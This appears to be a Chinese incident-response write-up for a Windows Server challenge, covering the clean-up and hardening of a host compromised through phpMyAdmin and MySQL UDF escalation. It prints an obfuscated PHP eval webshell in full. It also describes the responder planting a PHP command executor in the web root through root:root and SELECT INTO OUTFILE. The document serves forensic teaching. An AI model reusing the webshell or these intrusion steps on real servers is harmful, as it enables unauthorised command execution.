Windows Server 2008 应急加固实战:7 项入侵痕迹排查与修复

  • 目标:47.103.220.96(Windows Server 2008 R2,主机名 iZmy1m38d8gtbjZ)
  • 接入方式:RDP administrator + 题目口令(prompt for credentials:i:0 预置凭据)
  • 站点:phpstudy_pro + Apache 2.4.39 / PHP 7.3.4 / MySQL 5.5.29,Web 根 C:\phpstudy_pro\WWW,DedeCMS V5.7 SP2,phpMyAdmin 4.8.1 暴露于 /phpmyadmin/
  • 处置时间:2026-10-30 21:32 ~ 22:05(UTC+08:00)
  • 结论:7 项题目全部完成;攻击者投放的 WebShell、隐藏账户、后门木马与 UDF 提权链已清除,账户策略与 MySQL 导入导出限制已收紧。

1. 七项题目答案

# 题目 结论 / 处置 关键证据
1 请输入黑客的提权方式(字母转小写) udf mysql.func 存在 sys_eval -> udf.dll;plugin 目录 udf.dll(7168 B,2022-10-28 16:29)
2 请删除黑客上传的 webshell 已删除 C:\phpstudy_pro\WWW\dede\inc\config_sys.php(HTTP 已 404) 文件内容 <?php $a="_POST"; @array_map(implode("",["e","v","a","l"]), $$a); ?>;access.log 中 POST /dede/inc/config_sys.php 200
3 请删除黑客添加的账号 已 net user harry /delete;现仅 Administrator、Guest 账号 harry 密码设置时间 2022-10-28 16:31:46,仅属 Users 组
4 请输入黑客后门木马连接的服务器 IP 23.23.23.23 netstat -ano:TCP 172.17.197.91:49445 -> 23.23.23.23:1996 SYN_SENT 6508
5 设置服务器账号策略密码最小长度为 8 已执行 net accounts /minpwlen:8 net accounts:密码长度最小值: 8(原为 0)
6 请杀死并删除黑客留下的后门木马 taskkill /f /pid 6508,删除启动项 ...\Startup\system6.exe 进程 6508 为 system6.exe;启动目录仅剩 phpstudy_pro.lnk
7 请修复黑客提权利用的漏洞 DROP FUNCTION sys_eval;删除 udf.dll;my.ini 增加 secure_file_priv=null 并重启 MySQL mysql.func 已空、plugin 目录已空、@@secure_file_priv=C:\phpstudy_pro\Extensions\MySQL5.5.29\bin\null\,SELECT ... INTO OUTFILE 被拒绝

2. 攻击链还原

依据 Apache 访问日志(access.log.1666915200,1,602,645 B)与主机时间戳,攻击者链路为:

  1. 公网侦察/注入 :27.211.48.24 于 2022-10-28 15:58 对 /plus/heightsearch.php 发起 SQL 注入探测(UNION/报错/时间盲注),16:00 起遍历 c99shell.php、cmdasp.asp、.git 等后门路径。
  2. 数据库接管 :16:04 经 /phpmyadmin/ 以 root:root 登录并 POST import.php 执行 SQL;16:11 my.ini 被改动。
  3. UDF 提权 :16:29 向 lib\plugin 写入 udf.dll 并注册 sys_eval,获得 SYSTEM 级命令执行(MySQL 以高权限运行)。
  4. 主机驻留 :16:31 创建账户 harry;16:44 将 dede/inc/config_sys.php 改写为一句话木马;17:26 向启动文件夹投放 system6.exe(159,744 B)并运行,产生到 23.23.23.23:1996 的 SYN_SENT 外联。

说明:system6.exe 内含 NetUserAdd、fDenyTSConnections/PortNumber 等 RDP 注册表操作与 23.23.23.23、http://www.baidu.com/ip.txt 字符串,属于典型的"建号 + 开 RDP + 外联 C2"后门。

3. 取证与处置过程

3.1 接入与取证

  • 端口:80/135/139/3306/3389 开放,445 关闭;站点为 DedeCMS V5.7 SP2,/phpmyadmin/ 可未授权访问登录页。
  • 通过 phpMyAdmin root:root 登录后以 SELECT ... INTO OUTFILE 在 Web 根写入临时 PHP 执行器,取得 administrator 权限命令通道,用于取证与处置(结束后已删除)。

关键命令与输出(节选):

text 复制代码
net user
\\iZmy1m38d8gtbjZ 的用户帐户
Administrator            Guest                    harry

net localgroup administrators
Administrator

net accounts        # 处置前
密码长度最小值:                          0

netstat -ano
TCP  172.17.197.91:49445  23.23.23.23:1996  SYN_SENT  6508

tasklist
system6.exe   6508  RDP-Tcp#0  2

dir "C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
2022/10/28  15:33   736 phpstudy_pro.lnk
2022/10/28  17:26   159,744 system6.exe

type C:\phpstudy_pro\WWW\dede\inc\config_sys.php
<?php $a = "_POST"; @array_map(implode("",["e","v","a","l"]), $$a); ?>

SELECT * FROM mysql.func;
sys_eval | 0 | udf.dll | function

dir C:\phpstudy_pro\Extensions\MySQL5.5.29\lib\plugin
2022/10/28  16:29   7,168 udf.dll

证据文件:evidence/system6.exe(后门样本)、evidence/udf.dll(UDF 样本)、evidence/cfg_sys.bak(WebShell 原件)、evidence/acc_old.log(攻击日志)、evidence/tasklist.txt、evidence/netstat.txt。

3.2 清除与加固

text 复制代码
del /f /q C:\phpstudy_pro\WWW\dede\inc\config_sys.php
net user harry /delete
net accounts /minpwlen:8
taskkill /f /pid 6508
del /f /q "C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system6.exe"

MySQL UDF 链路修复:

sql 复制代码
DROP FUNCTION sys_eval;
ini 复制代码
; C:\phpstudy_pro\Extensions\MySQL5.5.29\my.ini([mysqld] 段)
secure_file_priv=null

随后通过 mysqladmin shutdown 重启 MySQL(phpstudy 服务自动拉起 mysqld),并完成复核:

text 复制代码
net user                          -> Administrator / Guest
net localgroup administrators     -> Administrator
net accounts                      -> 密码长度最小值: 8
tasklist | findstr system6        -> (空)
netstat -ano | findstr 23.23.23.23 -> (空)
if exist ...\config_sys.php       -> SHELL_GONE
dir ...\lib\plugin                -> 0 个文件
findstr secure_file_priv my.ini   -> 7:secure_file_priv=null
SHOW VARIABLES LIKE 'secure_file_priv';
secure_file_priv | C:\phpstudy_pro\Extensions\MySQL5.5.29\bin\null\
SELECT 'limited' INTO OUTFILE 'C:/phpstudy_pro/WWW/perm_test.txt';  -> 被拒绝(文件操作已受限)

站点健康复核(HTTP):/ 200、/phpmyadmin/ 200、/dede/login.php 200;/dede/inc/config_sys.php 404,/px_7c1a.php(临时执行器)404。

3.3 现场清理

临时执行器 px_7c1a.php、日志副本、样本副本、临时脚本与备份均已在处置结束后删除;主机只保留原始证据位置(access.log 已轮转至 access.log.1666915200)。

4. 加固前后对比

项目 加固前 加固后
WebShell dede/inc/config_sys.php 可 POST 执行 已删除,HTTP 404
隐藏账户 harry(Users 组) 已删除,仅内置账户
后门木马 Startup\system6.exe(PID 6508) 进程终止、文件删除、启动项干净
C2 外联 23.23.23.23:1996 SYN_SENT 无连接
账户策略 密码最小长度 0 密码最小长度 8
UDF 提权 udf.dll + sys_eval 可执行命令 函数已 DROP、DLL 已删除
MySQL 文件导入导出 secure_file_priv 为空(无限制) secure_file_priv=null,OUTFILE 被拒绝

5. 图形附件(Archify)

图 文件 说明
攻击面与宿主拓扑 topology.html(交互图,本地交付包) 攻击者、Web/数据层、Windows 主机层与 C2 的拓扑和边界
攻击时间线 attack-timeline.html(交互图,本地交付包) 2022-10-28 侦察→利用→主机驻留的时间轴
应急处置流程 hardening.html(交互图,本地交付包) 取证定位→清除处置→加固修复→复核交付

静态校验:三张图 archify check 均为 ok: true(issues 为空)。

本机为 DSH elevated 会话,archify finalize 的 browser-check(Chrome/Edge DevTools pipe)无法运行;已改用 archify render --quality showcase + archify check + headless Edge 截图人工复核(截图见同目录 _shots/)。交互式 HTML 与静态截图二选一,Markdown 版使用截图、文末仅保留索引。

6. 遗留风险与建议

  1. phpMyAdmin 与 MySQL root 口令 :/phpmyadmin/ 对外可访问且 root:root 可登录,是本次 UDF 提权的入口。建议限制访问来源、改强口令,或仅保留内网访问。
  2. DedeCMS 5.7 SP2 :/plus/heightsearch.php 等历史注入面仍在,建议升级或下线相关 plus 脚本。
  3. Web 目录可写:Apache/PHP 以高权限运行且 Web 根可写,建议降权运行 IIS/Apache 应用池账户。
  4. 安全基线:建议同步启用审核策略、部署 EDR/杀软并保留 180 天以上日志。

附录:本次使用的工具与产物

  • 工具:nmap 7.98、phpMyAdmin(root 登录)、curl、Python requests、Windows 内置 cmd/PowerShell、archify 3.2(图表)。
  • 本目录:应急加固报告-47.103.220.96.md、.archify/(三张图 + _shots/ 截图)、evidence/(样本与日志证据)。
相关推荐
xiaogai_gai1 小时前
采购业务退款单同步实战:从钉钉审批流到金蝶云星空付款单
java·数据库·钉钉
AlickLbc2 小时前
DM-V8数据库证书过期处理过程记录
数据库
l1t2 小时前
DeepSeek总结的五分钟测试:Ted Dunning 谈 DuckDB 为何让分析更轻松
数据库·sql·duckdb
超级新零售2 小时前
零售 SaaS 与本地部署,技术责任边界究竟怎么分?
数据库·零售
考虑考虑2 小时前
瀚高数据库
数据库·后端·postgresql
dishugj3 小时前
oracle日志切换三条命令区别
数据库
Patrick在香港3 小时前
一个斜杠,把毫秒变成十几秒
android·数据库·python·性能优化·正则表达式·回溯·redos
悟道书生3 小时前
(一)Navicate为什么转存结构和数据只转存表而不包含建库?
数据库·oracle
赤龙ERP4 小时前
ERP周报:连接器开闸、国产GPU进场与智能工厂253家
数据库·人工智能·大模型·rpa·erp·企业数字化·builderpattern